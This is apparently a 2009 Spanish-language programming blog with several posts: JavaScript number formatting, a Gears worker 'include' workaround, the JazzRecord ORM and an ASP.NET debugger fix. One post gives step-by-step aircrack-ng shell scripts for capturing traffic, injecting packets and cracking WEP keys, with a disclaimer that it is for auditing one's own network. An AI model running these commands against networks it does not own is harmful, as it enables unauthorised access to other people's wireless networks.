martes, 22 de septiembre de 2009

Formatear números con Javascript

En www.mredkj.com podemos descargar este script para poder formatear números con javascript.

Esta clase nos permite elegir el separador de miles, separador decimal, así como es capaz de mostrar un número concreto de decimales ó el símbolo de la moneda que quieras.

En una de las aplicaciones que llevo entre manos, todos los números se formatean a dos decimales y usan como separador de miles el punto, y como separador decimal la coma. Por tanto, esta otra función, que a su vez usa la clase NumberFormat, te dará el número formateado de esta manera:


numberToString = function(number){
var numberFormat = new NumberFormat(number);
numberFormat.setSeparators(true, '.', ',');
return numberFormat.toFormatted();
};

jueves, 10 de septiembre de 2009

Scripts para Wifiway y Wifislax

Wifiway y Wifislax son dos distribuciones preparadas para la auditoría wireless. Entre las herramientas disponibles, hay algunas muy interesantes que nos van a permitir conocer (descifrar) la clave WEP de una red en unos pocos minutos.

Sacar la contraseña del router wifi de tu vecino no es una práctica legal, así que NO debes utilizar estas herramientas con ese propósito, sino con el propósito de saber si tu red es segura, para aprender, y como curiosidad.

Las contraseñas WEP están desaprobadas, como mecanismo de privacidad inalámbrico, desde el año 2004. Sin embargo hoy en día todavía se siguen usando.

Para facilitarte la tarea a la hora de descifrar una contraseña WEP y no tengas que acordarte de los comandos y los parámetros, te ofrezco unos scripts (shellscript para GNU/Linux) que agilizarán el proceso. He de decir que estos scripts han sido hechos para ser usados con una tarjeta de red con chipset intel ipw2200. Desconozco si sirven para alguna más.

1 - Escanear redes.
Ejecuta el comando airodump-ng sobre el interfaz de red rtap0 que está en modo monitor.
airodump-ng rtap0

2 - Asociarte a una red.
Una vez que hayas encontrado la red de la cual quieras obtener la contraseña debes asociarte a ella para poder inyectar paquetes posteriormente.
if [ "$1" ]; then
iwconfig eth1 essid $1 key 11111111111
echo OK
else
echo Uso: $0 NOMBRE_RED
fi

3 - Guardar información de la red
Debes guardar toda la información obtenida del tráfico de la red en un fichero, para ello usamos el comando airodump-ng:
if [ "$2" ]; then
airodump-ng -c $1 -b $2 -w fichero rtap0
echo OK
else
echo USO: $0 canal mac_del_router
fi

4 - Inyectar paquetes
Para aumentar el tráfico en la red y así agilizar el proceso de obtención de la clave debemos inyectar paquetes usando aireplay-ng. Importante: cambia 00:01:02:03:04:05 por tu MAC
if [ "$1" ]; then
aireplay-ng -3 -x 600 -b $1 -h 00:01:02:03:04:05 -i rtap0 eth1
else
echo USO: $0 mac_del_router
fi

5 - Obtener la contraseña
Una vez hayamos obtenido alrededor de 40.000 paquetes podemos obtener la contraseña con el comando aircrack-ng
if [ "$1" ]; then
aircrack-ng -z $1
else
echo Uso: $0 Nombre_Fichero_CAP
fi

Si el nombre de la red a obtener es de la forma WLAN_XX (donde XX son 2 cifras hexadecimales) y la contraseña del router es la que venía por defecto. El descifrado de la clave se agiliza muchísimo. Usando la herramienta "wlan_decrpyter" podemos generar un diccionario de claves que luego usaremos como parámetro de entrada del programa aircrack-ng:
if [ "$2" ]; then
aircrack-ng -w $1 $2
else
echo Uso: $0 fich_diccionario fich_cap
fi
Los scripts están disponibles aquí: Descargar

miércoles, 9 de septiembre de 2009

Simular un "include" en un worker de Gears

Gears todavía no incorpora un método para incluir scripts externos en un worker, lo cual sería de gran utilidad para garantizar una buena estructura en nuestro proyecto javascript y para usar librerías externas en el worker.

En http://blog.youngpup.net/2007/09/simulating-include-in-workers.html podemos encontrar una solución a este problema, esa solución es usar esta función:
function include(url, callback) {
var req = google.gears.factory.create("beta.httprequest", "1.0");
req.onreadystatechange = function() {
if (req.readyState == 4) {
wp_include.callback = callback;
// Hack to workaround the fact that global.eval() doesn't work in IE.
google.gears.factory.create("beta.timer", "1.0").setTimeout(
req.responseText + "\nwp_include.callback()", 0);
}
}

req.open("GET", url);
req.send(null);
}

La forma de usar la función es la siguiente:
include("/js/jazz_record.js", function(){
include("/js/tuLibreria.js", function(){
tuCodigo();
});
});

Esta solución nos será de gran utilidad, por lo menos hasta que Gears se digne a proporcionarnos un método para dicho propósito.

JazzRecord: Un ORM al estilo ActiveRecord para Javascript

Para el que no lo sepa, un ORM (mapeo objeto-relacional) es una técnica de programación que consiste en convertir los datos de una base de datos relacional en objetos y así poder disfrutar de las ventajas de la programación orientada a objetos.

La programación javascript cada día toma más protagonismo en aplicaciones web (no sólo en navegadores, sino también en aplicaciones de escritorio, aplicaciones móviles, etc...) y, es considerado por muchos expertos como el "lenguaje del futuro". Si vamos a programar una aplicación con javascript con almacenamiento local en forma de base de datos relacional (por ejemplo, si utilizamos Gears, Adobe Air ó HTML5) nos va a venir de perlas usar un ORM.

Entre todos los ORM javascript que he visto a día de hoy, el más completo, más sencillo de usar y más fiable que he probado es JazzRecord (no me pagan por publicidad). Su uso es muy sencillo, ya que ha tomado la esencia de ActiveRecord. Simplemente tenemos que definir los "modelos" para que JazzRecord automaticamente nos cree los métodos necesarios para crear las 4 operaciones básicas de una base de datos: insertar, leer, actualizar, borrar (CRUD).

Por ejemplo, con sólo definir:
var JazzLegend = new Model({
table: "jazz_legends",
columns: {
name: "text",
primary_instrument: "text",
years_active: "text"
}
});
Ya tendríamos creados los métodos necesarios para obtener registros (find, findBy, first, last...), insertar (create), actualizar (modificando cualquier propiedad del objeto obtenido y realizando una llamada a "save") y borrar (destroy). Así como también habríamos creado automáticamente la definición de una clase para crear objetos de tipo "jazz_legends" con los mismos atributos que campos posee la tabla.

La cosa no queda aquí, sino que podemos definir relaciones para "interconectar" las clases creadas, de la misma forma que se hace en base de datos con claves ajenas. Simplemente definiendo una relación (podemos definir relaciones uno a uno, uno a muchos y muchos a muchos) automaticamente se crean los métodos necesarios para obtener objetos relacionados. Por ejemplo, si definimos que una persona tiene coches, y que un coche es de una persona, automáticamente el objeto "persona" tiene creado un método "ObtenerCoches" que devuelve un arary de objetos "coche", y el objeto "coche" tiene un método "ObtenerDueño" que devuelve un objeto persona que se corresponde con el dueño del mismo.

Podemos definir validaciones, callbacks (eventos que se disparan cuando se produce una inserción, actualización ó borrado), realizar cualquier tipo de selecciones estableciendo los parámetros de ordenación, grupos, condiciones... incluso podemos ejecutar cualquier SQL escrita, podemos crear nuevos métodos, transacciones...

También posee las llamadas "migraciones". Es muy útil en la fase de desarrollo, ya que nos va a facilitar aplicar cambios en la estructura de la base de datos de la aplicación producidos por modificaciones realizadas.

Puedes aprender más en la página oficial, en su blog, en el grupo de google ó en futuros posts de este blog.

lunes, 7 de septiembre de 2009

ERROR en Asp.NET: El depurador no puede seguir ejecutando el proceso

Si trabajas con asp.net, bajo windows vista e iis7, posiblemente te topes con este error durante la depuración del proyecto web. Estás depurando y, tras alrededor de un minuto y medio ó dos minutos compruebas que ya no funciona la depuración y obtienes este mensaje:


Pues bien, la solución es muy sencilla. Simplemente entra al administrador de internet information services, abre las configuración avanzada del grupo de aplicaciones (appPool) de tu aplicación web y cambia el valor de la propiedad "Ping habilitado" a false.... y ¡ya está!, ¡solucionado!